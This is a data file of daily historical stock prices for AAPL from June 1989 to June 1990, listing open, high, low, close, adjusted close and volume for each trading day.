-1989-06-20,1.5714285373687744,1.5714285373687744,1.5089285373687744,1.5357142686843872,1.2423460483551025,33633600.0,AAPL -1989-06-21,1.5357142686843872,1.5535714626312256,1.5089285373687744,1.5178571939468384,1.2279002666473389,32466000.0,AAPL -1989-06-22,1.5178571939468384,1.5625,1.5,1.5446428060531616,1.2495688199996948,34300000.0,AAPL -1989-06-23,1.5446428060531616,1.5803571939468384,1.5446428060531616,1.5669642686843872,1.2676265239715576,30973600.0,AAPL -1989-06-26,1.5714285373687744,1.5714285373687744,1.5446428060531616,1.5535714626312256,1.2567917108535767,45959200.0,AAPL -1989-06-27,1.5625,1.5803571939468384,1.5178571939468384,1.5223214626312256,1.2315114736557007,26446000.0,AAPL -1989-06-28,1.5089285373687744,1.5089285373687744,1.4642857313156128,1.4910714626312256,1.2062311172485352,64257200.0,AAPL -1989-06-29,1.4642857313156128,1.4732142686843872,1.4285714626312256,1.4508928060531616,1.173728108406067,58380000.0,AAPL -1989-06-30,1.4464285373687744,1.4910714626312256,1.4107142686843872,1.4732142686843872,1.191785216331482,41185200.0,AAPL -1989-07-03,1.4910714626312256,1.4910714626312256,1.4553571939468384,1.4553571939468384,1.177339792251587,12087600.0,AAPL -1989-07-05,1.4464285373687744,1.4553571939468384,1.4285714626312256,1.4464285373687744,1.1701161861419678,29789200.0,AAPL -1989-07-06,1.4553571939468384,1.4910714626312256,1.4375,1.4732142686843872,1.191785216331482,43481200.0,AAPL -1989-07-07,1.4732142686843872,1.5,1.4464285373687744,1.4732142686843872,1.191785216331482,26527200.0,AAPL -1989-07-10,1.4642857313156128,1.4732142686843872,1.4285714626312256,1.4464285373687744,1.1701161861419678,50923600.0,AAPL -1989-07-11,1.4553571939468384,1.4642857313156128,1.4196428060531616,1.4196428060531616,1.148447871208191,60981200.0,AAPL -1989-07-12,1.4196428060531616,1.4375,1.4107142686843872,1.4285714626312256,1.1556710004806519,31032400.0,AAPL -1989-07-13,1.4285714626312256,1.4642857313156128,1.4107142686843872,1.4508928060531616,1.173728108406067,56358400.0,AAPL -1989-07-14,1.4553571939468384,1.4642857313156128,1.4196428060531616,1.4553571939468384,1.177339792251587,64330000.0,AAPL -1989-07-17,1.4553571939468384,1.4732142686843872,1.4196428060531616,1.4553571939468384,1.177339792251587,32723600.0,AAPL -1989-07-18,1.4553571939468384,1.4553571939468384,1.3839285373687744,1.4017857313156128,1.1340014934539795,119327600.0,AAPL -1989-07-19,1.4107142686843872,1.4553571939468384,1.3928571939468384,1.4464285373687744,1.1701161861419678,59743600.0,AAPL -1989-07-20,1.4553571939468384,1.4732142686843872,1.4196428060531616,1.4285714626312256,1.1556710004806519,59018400.0,AAPL -1989-07-21,1.4196428060531616,1.4285714626312256,1.3928571939468384,1.4285714626312256,1.1556710004806519,34871200.0,AAPL -1989-07-24,1.4196428060531616,1.4196428060531616,1.4017857313156128,1.4017857313156128,1.1340014934539795,28996800.0,AAPL -1989-07-25,1.4017857313156128,1.4196428060531616,1.3571428060531616,1.3839285373687744,1.119555950164795,52460800.0,AAPL -1989-07-26,1.3660714626312256,1.375,1.3482142686843872,1.3660714626312256,1.1051101684570312,58436000.0,AAPL -1989-07-27,1.3660714626312256,1.4107142686843872,1.3571428060531616,1.4017857313156128,1.1340014934539795,43268400.0,AAPL -1989-07-28,1.4017857313156128,1.4196428060531616,1.3928571939468384,1.40625,1.1376131772994995,29834000.0,AAPL -1989-07-31,1.4017857313156128,1.4285714626312256,1.3928571939468384,1.4196428060531616,1.148447871208191,27966400.0,AAPL -1989-08-01,1.4196428060531616,1.4375,1.4017857313156128,1.4241071939468384,1.1520590782165527,34885200.0,AAPL -1989-08-02,1.4196428060531616,1.4464285373687744,1.4107142686843872,1.4464285373687744,1.1701161861419678,25351200.0,AAPL -1989-08-03,1.4464285373687744,1.4821428060531616,1.4464285373687744,1.4732142686843872,1.191785216331482,43234800.0,AAPL -1989-08-04,1.4732142686843872,1.5267857313156128,1.46875,1.5267857313156128,1.2351230382919312,45838800.0,AAPL -1989-08-07,1.5357142686843872,1.5714285373687744,1.5223214626312256,1.5625,1.264014482498169,42053200.0,AAPL -1989-08-08,1.5535714626312256,1.5982142686843872,1.5535714626312256,1.5758928060531616,1.2748491764068604,51548000.0,AAPL -1989-08-09,1.5714285373687744,1.6339285373687744,1.5669642686843872,1.5714285373687744,1.2712374925613403,48790000.0,AAPL -1989-08-10,1.5714285373687744,1.5714285373687744,1.5267857313156128,1.5446428060531616,1.2495688199996948,38091200.0,AAPL -1989-08-11,1.5714285373687744,1.5714285373687744,1.4732142686843872,1.4955357313156128,1.2098429203033447,57520400.0,AAPL -1989-08-14,1.4821428060531616,1.5,1.4464285373687744,1.4553571939468384,1.177339792251587,25706800.0,AAPL -1989-08-15,1.4553571939468384,1.4821428060531616,1.4553571939468384,1.4776785373687744,1.1953967809677124,40933200.0,AAPL -1989-08-16,1.4821428060531616,1.4910714626312256,1.4285714626312256,1.4419642686843872,1.1665046215057373,30133600.0,AAPL -1989-08-17,1.4375,1.4732142686843872,1.4285714626312256,1.4642857313156128,1.184562087059021,38329200.0,AAPL -1989-08-18,1.4910714626312256,1.5178571939468384,1.4821428060531616,1.5089285373687744,1.2206768989562988,21016800.0,AAPL -1989-08-21,1.5089285373687744,1.5446428060531616,1.5,1.5089285373687744,1.2235716581344604,34456800.0,AAPL -1989-08-22,1.5,1.5357142686843872,1.5,1.53125,1.2416719198226929,27958000.0,AAPL -1989-08-23,1.5357142686843872,1.5803571939468384,1.5178571939468384,1.5625,1.2670122385025024,43411200.0,AAPL -1989-08-24,1.5625,1.5892857313156128,1.5535714626312256,1.5758928060531616,1.2778723239898682,40731600.0,AAPL -1989-08-25,1.5714285373687744,1.6071428060531616,1.5714285373687744,1.5982142686843872,1.295972466468811,40348000.0,AAPL -1989-08-28,1.5892857313156128,1.6071428060531616,1.5714285373687744,1.5982142686843872,1.295972466468811,20414800.0,AAPL -1989-08-29,1.5982142686843872,1.6071428060531616,1.5625,1.5758928060531616,1.2778723239898682,44226000.0,AAPL -1989-08-30,1.5714285373687744,1.5982142686843872,1.5714285373687744,1.5892857313156128,1.2887327671051025,29024800.0,AAPL -1989-08-31,1.5892857313156128,1.6071428060531616,1.5803571939468384,1.5892857313156128,1.2887327671051025,14072800.0,AAPL -1989-09-01,1.5892857313156128,1.5982142686843872,1.5803571939468384,1.59375,1.2923527956008911,18530400.0,AAPL -1989-09-05,1.5892857313156128,1.6205357313156128,1.5892857313156128,1.5982142686843872,1.295972466468811,28705600.0,AAPL -1989-09-06,1.5982142686843872,1.6026785373687744,1.5714285373687744,1.5982142686843872,1.295972466468811,21688800.0,AAPL -1989-09-07,1.5982142686843872,1.625,1.5982142686843872,1.5982142686843872,1.295972466468811,28473200.0,AAPL -1989-09-08,1.5982142686843872,1.6160714626312256,1.5892857313156128,1.6071428060531616,1.3032125234603882,13958000.0,AAPL -1989-09-11,1.5982142686843872,1.6428571939468384,1.5892857313156128,1.6339285373687744,1.32493257522583,24648400.0,AAPL -1989-09-12,1.625,1.6696428060531616,1.6071428060531616,1.6428571939468384,1.3321728706359863,25897200.0,AAPL -1989-09-13,1.6517857313156128,1.6651785373687744,1.6071428060531616,1.6071428060531616,1.3032125234603882,32172000.0,AAPL -1989-09-14,1.6071428060531616,1.6160714626312256,1.5892857313156128,1.5982142686843872,1.295972466468811,32821600.0,AAPL -1989-09-15,1.6071428060531616,1.6160714626312256,1.5803571939468384,1.6071428060531616,1.3032125234603882,31217200.0,AAPL -1989-09-18,1.5892857313156128,1.6071428060531616,1.5714285373687744,1.5714285373687744,1.2742525339126587,15789200.0,AAPL -1989-09-19,1.5803571939468384,1.5892857313156128,1.5357142686843872,1.5446428060531616,1.2525323629379272,20199200.0,AAPL -1989-09-20,1.5714285373687744,1.6071428060531616,1.5625,1.59375,1.2923527956008911,29537200.0,AAPL -1989-09-21,1.6071428060531616,1.6428571939468384,1.5803571939468384,1.5982142686843872,1.295972466468811,50240400.0,AAPL -1989-09-22,1.5982142686843872,1.6160714626312256,1.5803571939468384,1.6026785373687744,1.29959237575531,18124400.0,AAPL -1989-09-25,1.5982142686843872,1.6339285373687744,1.5982142686843872,1.6160714626312256,1.3104526996612549,34039600.0,AAPL -1989-09-26,1.6071428060531616,1.625,1.5982142686843872,1.6160714626312256,1.3104526996612549,19331200.0,AAPL -1989-09-27,1.5803571939468384,1.6116071939468384,1.5714285373687744,1.5982142686843872,1.295972466468811,22531600.0,AAPL -1989-09-28,1.6071428060531616,1.6339285373687744,1.6071428060531616,1.625,1.317692756652832,19854800.0,AAPL -1989-09-29,1.6160714626312256,1.625,1.5892857313156128,1.5892857313156128,1.2887327671051025,17452400.0,AAPL -1989-10-02,1.5892857313156128,1.5982142686843872,1.5625,1.5848214626312256,1.2851125001907349,34350400.0,AAPL -1989-10-03,1.5803571939468384,1.5892857313156128,1.5401785373687744,1.5580357313156128,1.2633925676345825,42624400.0,AAPL -1989-10-04,1.5625,1.59375,1.5535714626312256,1.5803571939468384,1.2814921140670776,39793600.0,AAPL -1989-10-05,1.5892857313156128,1.6607142686843872,1.5803571939468384,1.625,1.317692756652832,61320000.0,AAPL -1989-10-06,1.6517857313156128,1.7232142686843872,1.6428571939468384,1.71875,1.3937128782272339,90426000.0,AAPL -1989-10-09,1.7142857313156128,1.7767857313156128,1.6964285373687744,1.7678571939468384,1.4335339069366455,48888000.0,AAPL -1989-10-10,1.7767857313156128,1.7991071939468384,1.7321428060531616,1.7678571939468384,1.4335339069366455,71780800.0,AAPL -1989-10-11,1.7410714626312256,1.7589285373687744,1.7142857313156128,1.7455357313156128,1.4154338836669922,39239200.0,AAPL -1989-10-12,1.75,1.7589285373687744,1.7321428060531616,1.7410714626312256,1.4118136167526245,20661200.0,AAPL -1989-10-13,1.7410714626312256,1.7678571939468384,1.6071428060531616,1.6339285373687744,1.32493257522583,50279600.0,AAPL -1989-10-16,1.5982142686843872,1.6696428060531616,1.5178571939468384,1.6696428060531616,1.3538931608200073,106229200.0,AAPL -1989-10-17,1.6428571939468384,1.7410714626312256,1.6071428060531616,1.6875,1.3683733940124512,62510000.0,AAPL -1989-10-18,1.6607142686843872,1.7232142686843872,1.6428571939468384,1.7232142686843872,1.3973338603973389,36008000.0,AAPL -1989-10-19,1.7232142686843872,1.7678571939468384,1.7232142686843872,1.7410714626312256,1.4118136167526245,27974800.0,AAPL -1989-10-20,1.7053571939468384,1.7589285373687744,1.6964285373687744,1.7142857313156128,1.3900933265686035,65377200.0,AAPL -1989-10-23,1.7142857313156128,1.7232142686843872,1.6517857313156128,1.6696428060531616,1.3538931608200073,30489200.0,AAPL -1989-10-24,1.6517857313156128,1.7321428060531616,1.6160714626312256,1.7008928060531616,1.3792328834533691,54110000.0,AAPL -1989-10-25,1.7053571939468384,1.7053571939468384,1.6517857313156128,1.6607142686843872,1.3466532230377197,29786400.0,AAPL -1989-10-26,1.625,1.6607142686843872,1.6071428060531616,1.6160714626312256,1.3104526996612549,42316400.0,AAPL -1989-10-27,1.6160714626312256,1.6339285373687744,1.5892857313156128,1.6160714626312256,1.3104526996612549,32354000.0,AAPL -1989-10-30,1.625,1.6428571939468384,1.6071428060531616,1.6339285373687744,1.32493257522583,21744800.0,AAPL -1989-10-31,1.6339285373687744,1.6607142686843872,1.625,1.6607142686843872,1.3466532230377197,22999200.0,AAPL -1989-11-01,1.6517857313156128,1.6696428060531616,1.6339285373687744,1.6473214626312256,1.3357926607131958,15296400.0,AAPL -1989-11-02,1.6071428060531616,1.6071428060531616,1.5357142686843872,1.5714285373687744,1.2742525339126587,113167600.0,AAPL -1989-11-03,1.5714285373687744,1.5892857313156128,1.5446428060531616,1.5446428060531616,1.2525323629379272,43663200.0,AAPL -1989-11-06,1.5535714626312256,1.5714285373687744,1.5357142686843872,1.5446428060531616,1.2525323629379272,30772000.0,AAPL -1989-11-07,1.5446428060531616,1.5892857313156128,1.5446428060531616,1.5714285373687744,1.2742525339126587,37830800.0,AAPL -1989-11-08,1.5803571939468384,1.6160714626312256,1.5803571939468384,1.6071428060531616,1.3032125234603882,35658000.0,AAPL -1989-11-09,1.6071428060531616,1.6428571939468384,1.5892857313156128,1.6428571939468384,1.3321728706359863,22047200.0,AAPL -1989-11-10,1.6339285373687744,1.6785714626312256,1.6339285373687744,1.6696428060531616,1.3538931608200073,16214800.0,AAPL -1989-11-13,1.6607142686843872,1.6875,1.6607142686843872,1.6607142686843872,1.3466532230377197,17004400.0,AAPL -1989-11-14,1.6607142686843872,1.6696428060531616,1.5892857313156128,1.5982142686843872,1.295972466468811,21095200.0,AAPL -1989-11-15,1.6071428060531616,1.6160714626312256,1.5714285373687744,1.5803571939468384,1.2814921140670776,24446800.0,AAPL -1989-11-16,1.5892857313156128,1.5982142686843872,1.5625,1.5982142686843872,1.295972466468811,24141600.0,AAPL -1989-11-17,1.5892857313156128,1.6160714626312256,1.5892857313156128,1.5982142686843872,1.299167275428772,22139600.0,AAPL -1989-11-20,1.6071428060531616,1.625,1.5892857313156128,1.6160714626312256,1.313683032989502,27017200.0,AAPL -1989-11-21,1.6160714626312256,1.6607142686843872,1.6160714626312256,1.6160714626312256,1.313683032989502,35061600.0,AAPL -1989-11-22,1.625,1.6339285373687744,1.5892857313156128,1.5982142686843872,1.299167275428772,24486000.0,AAPL -1989-11-24,1.5982142686843872,1.6071428060531616,1.5982142686843872,1.5982142686843872,1.299167275428772,6963600.0,AAPL -1989-11-27,1.5982142686843872,1.6160714626312256,1.5625,1.5714285373687744,1.2773935794830322,26286400.0,AAPL -1989-11-28,1.5625,1.5803571939468384,1.5267857313156128,1.5758928060531616,1.2810224294662476,33843600.0,AAPL -1989-11-29,1.5535714626312256,1.5803571939468384,1.5178571939468384,1.5714285373687744,1.2773935794830322,38236800.0,AAPL -1989-11-30,1.5625,1.5892857313156128,1.5535714626312256,1.5803571939468384,1.2846511602401733,15862000.0,AAPL -1989-12-01,1.5892857313156128,1.6071428060531616,1.5580357313156128,1.5714285373687744,1.2773935794830322,36556800.0,AAPL -1989-12-04,1.5625,1.625,1.5625,1.6160714626312256,1.313683032989502,24340400.0,AAPL -1989-12-05,1.6160714626312256,1.6339285373687744,1.5892857313156128,1.6071428060531616,1.306424856185913,30441600.0,AAPL -1989-12-06,1.6071428060531616,1.6160714626312256,1.4642857313156128,1.5267857313156128,1.2411036491394043,83745200.0,AAPL -1989-12-07,1.5089285373687744,1.5446428060531616,1.5,1.5267857313156128,1.2411036491394043,44604000.0,AAPL -1989-12-08,1.5178571939468384,1.5357142686843872,1.4732142686843872,1.4910714626312256,1.2120723724365234,63145600.0,AAPL -1989-12-11,1.4642857313156128,1.4821428060531616,1.3705357313156128,1.4017857313156128,1.1394929885864258,162503600.0,AAPL -1989-12-12,1.4017857313156128,1.4107142686843872,1.25,1.2857142686843872,1.045140266418457,256354000.0,AAPL -1989-12-13,1.2857142686843872,1.3035714626312256,1.2678571939468384,1.2857142686843872,1.045140266418457,97440000.0,AAPL -1989-12-14,1.2767857313156128,1.2901785373687744,1.2321428060531616,1.2455357313156128,1.0124794244766235,76188000.0,AAPL -1989-12-15,1.2410714626312256,1.25,1.1607142686843872,1.2053571939468384,0.97981858253479,129542000.0,AAPL -1989-12-18,1.2053571939468384,1.25,1.2053571939468384,1.2410714626312256,1.0088508129119873,76801200.0,AAPL -1989-12-19,1.2321428060531616,1.2678571939468384,1.2321428060531616,1.25,1.0161083936691284,62798400.0,AAPL -1989-12-20,1.2767857313156128,1.2946428060531616,1.2589285373687744,1.2767857313156128,1.0378825664520264,44497600.0,AAPL -1989-12-21,1.2767857313156128,1.2946428060531616,1.2678571939468384,1.2946428060531616,1.0523977279663086,76202000.0,AAPL -1989-12-22,1.2946428060531616,1.3303571939468384,1.2857142686843872,1.3035714626312256,1.0596561431884766,46146800.0,AAPL -1989-12-26,1.3125,1.3125,1.2589285373687744,1.2678571939468384,1.0306246280670166,33821200.0,AAPL -1989-12-27,1.2678571939468384,1.2767857313156128,1.25,1.2544642686843872,1.0197376012802124,64251600.0,AAPL -1989-12-28,1.25,1.2589285373687744,1.2232142686843872,1.2366071939468384,1.0052217245101929,37814000.0,AAPL -1989-12-29,1.2410714626312256,1.2767857313156128,1.2276785373687744,1.2589285373687744,1.0233665704727173,38102400.0,AAPL -1990-01-02,1.2589285373687744,1.3392857313156128,1.25,1.3303571939468384,1.0814296007156372,45799600.0,AAPL -1990-01-03,1.3571428060531616,1.3571428060531616,1.3392857313156128,1.3392857313156128,1.0886880159378052,51998800.0,AAPL -1990-01-04,1.3660714626312256,1.3839285373687744,1.3303571939468384,1.34375,1.0923165082931519,55378400.0,AAPL -1990-01-05,1.3482142686843872,1.3660714626312256,1.3214285373687744,1.3482142686843872,1.0959457159042358,30828000.0,AAPL -1990-01-08,1.3392857313156128,1.3571428060531616,1.3214285373687744,1.3571428060531616,1.103203296661377,25393200.0,AAPL -1990-01-09,1.3571428060531616,1.3571428060531616,1.3214285373687744,1.34375,1.0923165082931519,21534800.0,AAPL -1990-01-10,1.34375,1.34375,1.2767857313156128,1.2857142686843872,1.045140266418457,49929600.0,AAPL -1990-01-11,1.2946428060531616,1.2946428060531616,1.2321428060531616,1.2321428060531616,1.001592755317688,52763200.0,AAPL -1990-01-12,1.2232142686843872,1.2410714626312256,1.2053571939468384,1.2321428060531616,1.001592755317688,42974400.0,AAPL -1990-01-15,1.2321428060531616,1.2767857313156128,1.2232142686843872,1.2232142686843872,0.9943346381187439,40434800.0,AAPL -1990-01-16,1.1964285373687744,1.25,1.1696428060531616,1.2455357313156128,1.0124794244766235,53561200.0,AAPL -1990-01-17,1.2410714626312256,1.2410714626312256,1.1785714626312256,1.1875,0.9653030037879944,49324800.0,AAPL -1990-01-18,1.1785714626312256,1.1964285373687744,1.1517857313156128,1.15625,0.9399002194404602,68322800.0,AAPL -1990-01-19,1.2053571939468384,1.2321428060531616,1.1964285373687744,1.2232142686843872,0.9943346381187439,66284400.0,AAPL -1990-01-22,1.2142857313156128,1.2321428060531616,1.1875,1.1875,0.9653030037879944,36402800.0,AAPL -1990-01-23,1.2053571939468384,1.2232142686843872,1.1785714626312256,1.2053571939468384,0.97981858253479,35218400.0,AAPL -1990-01-24,1.1607142686843872,1.2232142686843872,1.1517857313156128,1.2142857313156128,0.9870768189430237,42448000.0,AAPL -1990-01-25,1.2232142686843872,1.2410714626312256,1.2142857313156128,1.21875,0.9907053709030151,27885200.0,AAPL -1990-01-26,1.2142857313156128,1.2142857313156128,1.1517857313156128,1.1696428060531616,0.9507874250411987,45312400.0,AAPL -1990-01-29,1.1785714626312256,1.1964285373687744,1.1473214626312256,1.1875,0.9653030037879944,29982400.0,AAPL -1990-01-30,1.1875,1.2321428060531616,1.1785714626312256,1.2142857313156128,0.9870768189430237,29111600.0,AAPL -1990-01-31,1.2321428060531616,1.2410714626312256,1.1785714626312256,1.2142857313156128,0.9870768189430237,35985600.0,AAPL -1990-02-01,1.2321428060531616,1.2366071939468384,1.1964285373687744,1.2008928060531616,0.9761896729469299,29268400.0,AAPL -1990-02-02,1.1875,1.2410714626312256,1.1875,1.2232142686843872,0.9943346381187439,29618400.0,AAPL -1990-02-05,1.2232142686843872,1.2589285373687744,1.2142857313156128,1.25,1.0161083936691284,25438000.0,AAPL -1990-02-06,1.2410714626312256,1.25,1.2142857313156128,1.2410714626312256,1.0088508129119873,18480000.0,AAPL -1990-02-07,1.1785714626312256,1.2142857313156128,1.1607142686843872,1.1875,0.9653030037879944,78111600.0,AAPL -1990-02-08,1.1875,1.1964285373687744,1.1517857313156128,1.1785714626312256,0.9580447673797607,46659200.0,AAPL -1990-02-09,1.1964285373687744,1.2321428060531616,1.1875,1.2232142686843872,0.9943346381187439,42019600.0,AAPL -1990-02-12,1.2232142686843872,1.2321428060531616,1.2053571939468384,1.2142857313156128,0.9870768189430237,18729200.0,AAPL -1990-02-13,1.2142857313156128,1.25,1.2053571939468384,1.2321428060531616,1.001592755317688,25541600.0,AAPL -1990-02-14,1.2321428060531616,1.2410714626312256,1.2053571939468384,1.2232142686843872,0.9943346381187439,24015600.0,AAPL -1990-02-15,1.2053571939468384,1.2232142686843872,1.1964285373687744,1.2232142686843872,0.9943346381187439,24491600.0,AAPL -1990-02-16,1.2232142686843872,1.2321428060531616,1.2053571939468384,1.2053571939468384,0.9829767346382141,31802400.0,AAPL -1990-02-20,1.1964285373687744,1.2053571939468384,1.1785714626312256,1.1964285373687744,0.9756957292556763,30811200.0,AAPL -1990-02-21,1.1696428060531616,1.2232142686843872,1.1607142686843872,1.2142857313156128,0.9902583956718445,43976800.0,AAPL -1990-02-22,1.2142857313156128,1.2321428060531616,1.1785714626312256,1.1785714626312256,0.9611327648162842,48795600.0,AAPL -1990-02-23,1.1696428060531616,1.1964285373687744,1.1696428060531616,1.1875,0.9684143662452698,37489200.0,AAPL -1990-02-26,1.1785714626312256,1.2232142686843872,1.1785714626312256,1.2142857313156128,0.9902583956718445,19902400.0,AAPL -1990-02-27,1.2142857313156128,1.2232142686843872,1.1964285373687744,1.1964285373687744,0.9756957292556763,18488400.0,AAPL -1990-02-28,1.1964285373687744,1.2142857313156128,1.1875,1.2142857313156128,0.9902583956718445,27333600.0,AAPL -1990-03-01,1.1964285373687744,1.2410714626312256,1.1875,1.2232142686843872,0.9975396394729614,50974000.0,AAPL -1990-03-02,1.1964285373687744,1.2410714626312256,1.1875,1.2053571939468384,0.9829767346382141,26224800.0,AAPL -1990-03-05,1.1964285373687744,1.2410714626312256,1.1964285373687744,1.2321428060531616,1.0048211812973022,45617600.0,AAPL -1990-03-06,1.25,1.2589285373687744,1.2321428060531616,1.2589285373687744,1.026665210723877,39004000.0,AAPL -1990-03-07,1.25,1.2857142686843872,1.25,1.2633928060531616,1.03030526638031,51055200.0,AAPL -1990-03-08,1.2767857313156128,1.3214285373687744,1.25,1.3125,1.0703527927398682,55960800.0,AAPL -1990-03-09,1.3125,1.3392857313156128,1.2946428060531616,1.3169642686843872,1.073993444442749,57618400.0,AAPL -1990-03-12,1.3303571939468384,1.3392857313156128,1.2946428060531616,1.3080357313156128,1.0667122602462769,40989200.0,AAPL -1990-03-13,1.3035714626312256,1.3303571939468384,1.2946428060531616,1.3169642686843872,1.073993444442749,37144800.0,AAPL -1990-03-14,1.3125,1.3303571939468384,1.3035714626312256,1.3214285373687744,1.0776340961456299,25446400.0,AAPL -1990-03-15,1.3035714626312256,1.3571428060531616,1.3035714626312256,1.3125,1.0703527927398682,30058000.0,AAPL -1990-03-16,1.4285714626312256,1.4553571939468384,1.3973214626312256,1.4375,1.1722915172576904,161190400.0,AAPL -1990-03-19,1.4464285373687744,1.5178571939468384,1.4285714626312256,1.5133928060531616,1.2341824769973755,107948400.0,AAPL -1990-03-20,1.5089285373687744,1.5357142686843872,1.4553571939468384,1.4776785373687744,1.20505690574646,97829200.0,AAPL -1990-03-21,1.4732142686843872,1.5089285373687744,1.4732142686843872,1.4866071939468384,1.2123383283615112,38183600.0,AAPL -1990-03-22,1.4910714626312256,1.5089285373687744,1.4553571939468384,1.4553571939468384,1.186853289604187,57915200.0,AAPL -1990-03-23,1.4732142686843872,1.5357142686843872,1.4642857313156128,1.5089285373687744,1.2305415868759155,56996800.0,AAPL -1990-03-26,1.5178571939468384,1.5491071939468384,1.5,1.5089285373687744,1.2305415868759155,32015200.0,AAPL -1990-03-27,1.5,1.5089285373687744,1.4732142686843872,1.5,1.2232601642608643,21151200.0,AAPL -1990-03-28,1.5,1.5044642686843872,1.4642857313156128,1.4732142686843872,1.2014161348342896,25734800.0,AAPL -1990-03-29,1.4642857313156128,1.4821428060531616,1.4553571939468384,1.46875,1.197775959968567,24222800.0,AAPL -1990-03-30,1.4285714626312256,1.4642857313156128,1.4285714626312256,1.4375,1.1722915172576904,55837600.0,AAPL -1990-04-02,1.4285714626312256,1.4508928060531616,1.4107142686843872,1.4375,1.1722915172576904,37192400.0,AAPL -1990-04-03,1.4464285373687744,1.4910714626312256,1.4464285373687744,1.4910714626312256,1.2159792184829712,34927200.0,AAPL -1990-04-04,1.4821428060531616,1.5,1.4553571939468384,1.4732142686843872,1.2014161348342896,37433200.0,AAPL -1990-04-05,1.4642857313156128,1.4732142686843872,1.4285714626312256,1.4375,1.1722915172576904,27048000.0,AAPL -1990-04-06,1.4375,1.4732142686843872,1.4196428060531616,1.4241071939468384,1.1613690853118896,29559600.0,AAPL -1990-04-09,1.4196428060531616,1.4821428060531616,1.4107142686843872,1.46875,1.197775959968567,26370400.0,AAPL -1990-04-10,1.4732142686843872,1.5,1.4642857313156128,1.4732142686843872,1.2014161348342896,32830000.0,AAPL -1990-04-11,1.4821428060531616,1.5357142686843872,1.4821428060531616,1.5178571939468384,1.2378230094909668,53289600.0,AAPL -1990-04-12,1.5357142686843872,1.5714285373687744,1.5178571939468384,1.5446428060531616,1.2596670389175415,52950800.0,AAPL -1990-04-16,1.5535714626312256,1.5803571939468384,1.5446428060531616,1.5625,1.274229645729065,56722400.0,AAPL -1990-04-17,1.5446428060531616,1.5535714626312256,1.5267857313156128,1.5446428060531616,1.2596670389175415,32776800.0,AAPL -1990-04-18,1.5446428060531616,1.5625,1.5178571939468384,1.5446428060531616,1.2596670389175415,48361600.0,AAPL -1990-04-19,1.4910714626312256,1.5401785373687744,1.4285714626312256,1.4375,1.1722915172576904,120369200.0,AAPL -1990-04-20,1.4598214626312256,1.4821428060531616,1.4196428060531616,1.4375,1.1722915172576904,80880800.0,AAPL -1990-04-23,1.4375,1.4464285373687744,1.4107142686843872,1.4196428060531616,1.1577285528182983,32088000.0,AAPL -1990-04-24,1.4285714626312256,1.4464285373687744,1.375,1.3839285373687744,1.1286031007766724,75933200.0,AAPL -1990-04-25,1.3839285373687744,1.3928571939468384,1.3660714626312256,1.3839285373687744,1.1286031007766724,33143600.0,AAPL -1990-04-26,1.3928571939468384,1.4107142686843872,1.3616071939468384,1.3883928060531616,1.1322442293167114,35540400.0,AAPL -1990-04-27,1.3928571939468384,1.4107142686843872,1.3839285373687744,1.3973214626312256,1.1395254135131836,29103200.0,AAPL -1990-04-30,1.4017857313156128,1.4196428060531616,1.3928571939468384,1.40625,1.1468067169189453,34098400.0,AAPL -1990-05-01,1.4196428060531616,1.4285714626312256,1.40625,1.4151785373687744,1.154088020324707,40902400.0,AAPL -1990-05-02,1.4196428060531616,1.4285714626312256,1.4017857313156128,1.4196428060531616,1.1577285528182983,33857600.0,AAPL -1990-05-03,1.4196428060531616,1.4375,1.4196428060531616,1.4285714626312256,1.1650097370147705,41577200.0,AAPL -1990-05-04,1.4285714626312256,1.4553571939468384,1.4017857313156128,1.4285714626312256,1.1650097370147705,42383600.0,AAPL -1990-05-07,1.4196428060531616,1.4910714626312256,1.4196428060531616,1.4821428060531616,1.20869779586792,33997600.0,AAPL -1990-05-08,1.4642857313156128,1.5,1.4642857313156128,1.4910714626312256,1.2159792184829712,28114800.0,AAPL -1990-05-09,1.4866071939468384,1.5,1.4732142686843872,1.4955357313156128,1.2196197509765625,24309600.0,AAPL -1990-05-10,1.4910714626312256,1.4910714626312256,1.4464285373687744,1.4776785373687744,1.20505690574646,44760800.0,AAPL -1990-05-11,1.4776785373687744,1.5267857313156128,1.4553571939468384,1.5223214626312256,1.2414636611938477,53810400.0,AAPL -1990-05-14,1.5267857313156128,1.5267857313156128,1.4732142686843872,1.4910714626312256,1.2159792184829712,56596400.0,AAPL -1990-05-15,1.4776785373687744,1.5,1.4642857313156128,1.4910714626312256,1.2159792184829712,37346400.0,AAPL -1990-05-16,1.4910714626312256,1.4910714626312256,1.4642857313156128,1.4866071939468384,1.2123383283615112,21826000.0,AAPL -1990-05-17,1.4910714626312256,1.5089285373687744,1.4642857313156128,1.4821428060531616,1.20869779586792,38396400.0,AAPL -1990-05-18,1.4732142686843872,1.4821428060531616,1.4107142686843872,1.4196428060531616,1.1577285528182983,64615600.0,AAPL -1990-05-21,1.4107142686843872,1.4285714626312256,1.3839285373687744,1.4107142686843872,1.153640866279602,65620800.0,AAPL -1990-05-22,1.4330357313156128,1.4821428060531616,1.4285714626312256,1.4776785373687744,1.2084025144577026,75272400.0,AAPL -1990-05-23,1.4732142686843872,1.5178571939468384,1.4732142686843872,1.5,1.2266559600830078,51878400.0,AAPL -1990-05-24,1.5089285373687744,1.5089285373687744,1.4821428060531616,1.5,1.2266559600830078,37032800.0,AAPL -1990-05-25,1.4107142686843872,1.4553571939468384,1.3928571939468384,1.4285714626312256,1.1682438850402832,80830400.0,AAPL -1990-05-29,1.4285714626312256,1.4732142686843872,1.4017857313156128,1.4642857313156128,1.1974502801895142,60802000.0,AAPL -1990-05-30,1.4866071939468384,1.4910714626312256,1.4732142686843872,1.4776785373687744,1.2084025144577026,69204800.0,AAPL -1990-05-31,1.4821428060531616,1.4821428060531616,1.4642857313156128,1.4732142686843872,1.2047516107559204,25771200.0,AAPL -1990-06-01,1.4776785373687744,1.5,1.4553571939468384,1.4553571939468384,1.1901482343673706,39309200.0,AAPL -1990-06-04,1.4553571939468384,1.4642857313156128,1.4196428060531616,1.4553571939468384,1.1901482343673706,44856000.0,AAPL -1990-06-05,1.4642857313156128,1.4642857313156128,1.3928571939468384,1.4107142686843872,1.153640866279602,74858000.0,AAPL -1990-06-06,1.3928571939468384,1.4107142686843872,1.3839285373687744,1.4107142686843872,1.153640866279602,52936800.0,AAPL -1990-06-07,1.4107142686843872,1.4196428060531616,1.375,1.3928571939468384,1.1390372514724731,46608800.0,AAPL -1990-06-08,1.375,1.375,1.3392857313156128,1.3660714626312256,1.117133378982544,83470800.0,AAPL -1990-06-11,1.3482142686843872,1.3928571939468384,1.3482142686843872,1.3928571939468384,1.1390372514724731,39474400.0,AAPL 